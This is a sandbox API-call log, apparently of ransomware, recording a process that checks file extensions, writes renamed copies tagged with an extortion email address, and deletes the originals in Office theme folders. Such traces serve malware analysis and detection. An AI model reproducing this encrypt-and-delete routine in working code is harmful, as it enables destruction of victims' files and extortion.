	[0102.831] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74
	[0102.831] lstrlenW (lpString=".dbf") returned 4
	[0102.831] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0102.831] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74
	[0102.831] lstrlenW (lpString=".1cd") returned 4
	[0102.831] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0102.831] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74
	[0102.831] lstrlenW (lpString=".jpg") returned 4
	[0102.831] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0102.831] lstrcmpiW (lpString1=".GIF", lpString2=".4k") returned 1
	[0102.831] lstrlenW (lpString="PREVIEW.GIF") returned 11
	[0102.831] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0
	[0102.934] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=1363) returned 1
	[0102.934] CloseHandle (hObject=0x1f0) returned 1
	[0102.934] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\preview.gif")) returned 0x20
	[0102.935] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\preview.gif.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0102.935] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0
	[0102.935] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0102.935] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0102.935] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\preview.gif.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4
	[0102.935] GetLastError () returned 0x0
	[0102.935] ReadFile (in: hFile=0x1f0, lpBuffer=0x3370020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesRead=0x2c4fed4*=0x553, lpOverlapped=0x0) returned 1
	[0103.007] WriteFile (in: hFile=0x1e4, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0x560, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2c4fc9c*=0x560, lpOverlapped=0x0) returned 1
	[0103.008] ReadFile (in: hFile=0x1f0, lpBuffer=0x3370020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1
	[0103.008] WriteFile (in: hFile=0x1e4, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xea, lpOverlapped=0x0) returned 1
	[0103.008] SetEndOfFile (hFile=0x1e4) returned 1
	[0103.008] CloseHandle (hObject=0x1e4) returned 1
	[0103.008] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0103.009] SetEndOfFile (hFile=0x1f0) returned 1
	[0103.009] CloseHandle (hObject=0x1f0) returned 1
	[0103.009] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x20) returned 1
	[0103.009] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\preview.gif")) returned 1
	[0103.010] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF") returned 75
	[0103.010] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF") returned 75
	[0103.010] lstrlenW (lpString=".doc") returned 4
	[0103.010] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0103.010] lstrlenW (lpString=".docx") returned 5
	[0103.010] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1
	[0103.010] lstrlenW (lpString=".pdf") returned 4
	[0103.010] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0103.010] lstrlenW (lpString=".xls") returned 4
	[0103.010] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0103.010] lstrlenW (lpString=".xlsx") returned 5
	[0103.010] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1
	[0103.010] lstrlenW (lpString=".ppt") returned 4
	[0103.010] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0103.010] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF") returned 75
	[0103.010] lstrlenW (lpString=".zip") returned 4
	[0103.010] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0103.010] lstrlenW (lpString=".rar") returned 4
	[0103.010] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0103.010] lstrlenW (lpString=".bz2") returned 4
	[0103.010] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0103.010] lstrlenW (lpString=".7z") returned 3
	[0103.010] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0103.010] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF") returned 75
	[0103.010] lstrlenW (lpString=".dbf") returned 4
	[0103.010] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0103.010] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF") returned 75
	[0103.010] lstrlenW (lpString=".1cd") returned 4
	[0103.010] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0103.010] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF") returned 75
	[0103.010] lstrlenW (lpString=".jpg") returned 4
	[0103.011] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0103.011] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF") returned 75
	[0103.011] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF") returned 75
	[0103.011] lstrlenW (lpString=".doc") returned 4
	[0103.011] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0103.011] lstrlenW (lpString=".docx") returned 5
	[0103.011] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1
	[0103.011] lstrlenW (lpString=".pdf") returned 4
	[0103.011] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0103.011] lstrlenW (lpString=".xls") returned 4
	[0103.011] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0103.011] lstrlenW (lpString=".xlsx") returned 5
	[0103.011] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1
	[0103.011] lstrlenW (lpString=".ppt") returned 4
	[0103.011] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0103.011] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF") returned 75
	[0103.011] lstrlenW (lpString=".zip") returned 4
	[0103.011] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0103.011] lstrlenW (lpString=".rar") returned 4
	[0103.011] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0103.011] lstrlenW (lpString=".bz2") returned 4
	[0103.011] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0103.011] lstrlenW (lpString=".7z") returned 3
	[0103.011] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0103.012] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF") returned 75
	[0103.012] lstrlenW (lpString=".dbf") returned 4
	[0103.012] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0103.012] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF") returned 75
	[0103.012] lstrlenW (lpString=".1cd") returned 4
	[0103.012] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0103.012] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF") returned 75
	[0103.012] lstrlenW (lpString=".jpg") returned 4
	[0103.012] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0103.012] lstrcmpiW (lpString1=".PNG", lpString2=".4k") returned 1
	[0103.012] lstrlenW (lpString="THMBNAIL.PNG") returned 12
	[0103.012] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0
	[0103.013] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=28595) returned 1
	[0103.013] CloseHandle (hObject=0x1f0) returned 1
	[0103.013] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\thmbnail.png")) returned 0x20
	[0103.013] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\thmbnail.png.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0103.013] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0
	[0103.013] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0103.013] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0103.013] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\thmbnail.png.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4
	[0103.014] GetLastError () returned 0x0
	[0103.014] ReadFile (in: hFile=0x1f0, lpBuffer=0x3370020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesRead=0x2c4fed4*=0x6fb3, lpOverlapped=0x0) returned 1
	[0104.677] WriteFile (in: hFile=0x1e4, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0x6fc0, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2c4fc9c*=0x6fc0, lpOverlapped=0x0) returned 1
	[0104.814] ReadFile (in: hFile=0x1f0, lpBuffer=0x3370020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1
	[0104.814] WriteFile (in: hFile=0x1e4, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0104.814] SetEndOfFile (hFile=0x1e4) returned 1
	[0104.814] CloseHandle (hObject=0x1e4) returned 1
	[0104.815] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0104.815] SetEndOfFile (hFile=0x1f0) returned 1
	[0104.816] CloseHandle (hObject=0x1f0) returned 1
	[0104.817] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x20) returned 1
	[0104.817] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\thmbnail.png")) returned 1
	[0104.817] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG") returned 77
	[0104.817] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG") returned 77
	[0104.817] lstrlenW (lpString=".doc") returned 4
	[0104.817] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1
	[0104.817] lstrlenW (lpString=".docx") returned 5
	[0104.817] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1
	[0104.817] lstrlenW (lpString=".pdf") returned 4
	[0104.817] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1
	[0104.817] lstrlenW (lpString=".xls") returned 4
	[0104.817] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1
	[0104.817] lstrlenW (lpString=".xlsx") returned 5
	[0104.817] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1
	[0104.817] lstrlenW (lpString=".ppt") returned 4
	[0104.817] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1
	[0104.818] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG") returned 77
	[0104.818] lstrlenW (lpString=".zip") returned 4
	[0104.818] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1
	[0104.818] lstrlenW (lpString=".rar") returned 4
	[0104.818] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1
	[0104.818] lstrlenW (lpString=".bz2") returned 4
	[0104.818] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1
	[0104.818] lstrlenW (lpString=".7z") returned 3
	[0104.818] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1
	[0104.818] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG") returned 77
	[0104.818] lstrlenW (lpString=".dbf") returned 4
	[0104.818] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1
	[0104.818] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG") returned 77
	[0104.818] lstrlenW (lpString=".1cd") returned 4
	[0104.818] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1
	[0104.818] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG") returned 77
	[0104.818] lstrlenW (lpString=".jpg") returned 4
	[0104.818] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1
	[0104.818] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG") returned 77
	[0104.818] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG") returned 77
	[0104.818] lstrlenW (lpString=".doc") returned 4
	[0104.818] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1
	[0104.818] lstrlenW (lpString=".docx") returned 5
	[0104.818] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1
	[0104.818] lstrlenW (lpString=".pdf") returned 4
	[0104.818] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1
	[0104.818] lstrlenW (lpString=".xls") returned 4
	[0104.818] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1
	[0104.819] lstrlenW (lpString=".xlsx") returned 5
	[0104.819] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1
	[0104.819] lstrlenW (lpString=".ppt") returned 4
	[0104.819] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1
	[0104.819] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG") returned 77
	[0104.819] lstrlenW (lpString=".zip") returned 4
	[0104.819] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1
	[0104.819] lstrlenW (lpString=".rar") returned 4
	[0104.819] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1
	[0104.819] lstrlenW (lpString=".bz2") returned 4
	[0104.819] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1
	[0104.819] lstrlenW (lpString=".7z") returned 3
	[0104.819] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1
	[0104.819] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG") returned 77
	[0104.819] lstrlenW (lpString=".dbf") returned 4
	[0104.819] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1
	[0104.819] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG") returned 77
	[0104.819] lstrlenW (lpString=".1cd") returned 4
	[0104.819] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1
	[0104.819] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG") returned 77
	[0104.819] lstrlenW (lpString=".jpg") returned 4
	[0104.819] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1
	[0104.819] lstrcmpiW (lpString1=".PNG", lpString2=".4k") returned 1
	[0104.819] lstrlenW (lpString="THMBNAIL.PNG") returned 12
	[0104.820] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0
	[0105.054] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=32403) returned 1
	[0105.054] CloseHandle (hObject=0x1f0) returned 1
	[0105.054] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\thmbnail.png")) returned 0x20
	[0105.055] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\thmbnail.png.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0105.055] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0
	[0105.055] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0105.055] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0105.055] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\thmbnail.png.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4
	[0105.055] GetLastError () returned 0x0
	[0105.055] ReadFile (in: hFile=0x1f0, lpBuffer=0x3370020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesRead=0x2c4fed4*=0x7e93, lpOverlapped=0x0) returned 1
	[0105.057] WriteFile (in: hFile=0x1e4, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0x7ea0, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2c4fc9c*=0x7ea0, lpOverlapped=0x0) returned 1
	[0105.059] ReadFile (in: hFile=0x1f0, lpBuffer=0x3370020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1
	[0105.059] WriteFile (in: hFile=0x1e4, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0105.059] SetEndOfFile (hFile=0x1e4) returned 1
	[0105.059] CloseHandle (hObject=0x1e4) returned 1
	[0105.060] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0105.060] SetEndOfFile (hFile=0x1f0) returned 1
	[0105.061] CloseHandle (hObject=0x1f0) returned 1
	[0105.061] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x20) returned 1
	[0105.061] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\thmbnail.png")) returned 1
	[0105.061] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG") returned 76
	[0105.061] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG") returned 76
	[0105.061] lstrlenW (lpString=".doc") returned 4
	[0105.061] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1
	[0105.061] lstrlenW (lpString=".docx") returned 5
	[0105.062] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1
	[0105.062] lstrlenW (lpString=".pdf") returned 4
	[0105.062] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1
	[0105.062] lstrlenW (lpString=".xls") returned 4
	[0105.062] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1
	[0105.062] lstrlenW (lpString=".xlsx") returned 5
	[0105.062] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1
	[0105.062] lstrlenW (lpString=".ppt") returned 4
	[0105.062] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1
	[0105.062] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG") returned 76
	[0105.062] lstrlenW (lpString=".zip") returned 4
	[0105.062] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1
	[0105.062] lstrlenW (lpString=".rar") returned 4
	[0105.062] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1
	[0105.062] lstrlenW (lpString=".bz2") returned 4
	[0105.062] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1
	[0105.062] lstrlenW (lpString=".7z") returned 3
	[0105.062] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1
	[0105.062] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG") returned 76
	[0105.062] lstrlenW (lpString=".dbf") returned 4
	[0105.062] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1
	[0105.062] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG") returned 76
	[0105.062] lstrlenW (lpString=".1cd") returned 4
	[0105.062] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1
	[0105.062] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG") returned 76
	[0105.062] lstrlenW (lpString=".jpg") returned 4
	[0105.062] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1
	[0105.063] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG") returned 76
	[0105.063] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG") returned 76
	[0105.063] lstrlenW (lpString=".doc") returned 4
	[0105.063] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1
	[0105.063] lstrlenW (lpString=".docx") returned 5
	[0105.063] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1
	[0105.063] lstrlenW (lpString=".pdf") returned 4
	[0105.063] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1
	[0105.063] lstrlenW (lpString=".xls") returned 4
	[0105.063] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1
	[0105.063] lstrlenW (lpString=".xlsx") returned 5
	[0105.063] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1
